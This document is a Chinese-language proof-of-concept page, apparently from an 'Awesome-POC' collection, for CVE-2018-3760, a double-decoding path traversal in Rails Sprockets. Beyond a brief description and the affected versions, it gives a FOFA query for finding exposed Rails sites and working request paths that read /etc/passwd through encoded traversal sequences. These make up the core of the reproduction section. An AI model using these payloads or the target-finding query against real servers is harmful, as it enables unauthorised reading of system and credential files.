Awesome-POC/开发框架漏洞/Rails sprockets 任意文件读取漏洞 CVE-2018-3760.md
2022-12-05 11:09:28 +08:00

41 lines
968 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Rails sprockets 任意文件读取漏洞 CVE-2018-3760
## 漏洞描述
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器Ruby On Rails是著名Ruby Web开发框架Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
## 漏洞影响
```
Sprockets < 3.7.1
```
## FOFA
```
title="Ruby On Rails"
```
## 漏洞复现
主页面
![image-20220628111456281](./images/202206281114422.png)
先获取绝对路径
```
/assets/file:%2f%2f/etc/passwd
```
![image-20220628111516877](./images/202206281115997.png)
再利用POC读取文件
```
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```
![image-20220628111532098](./images/202206281115231.png)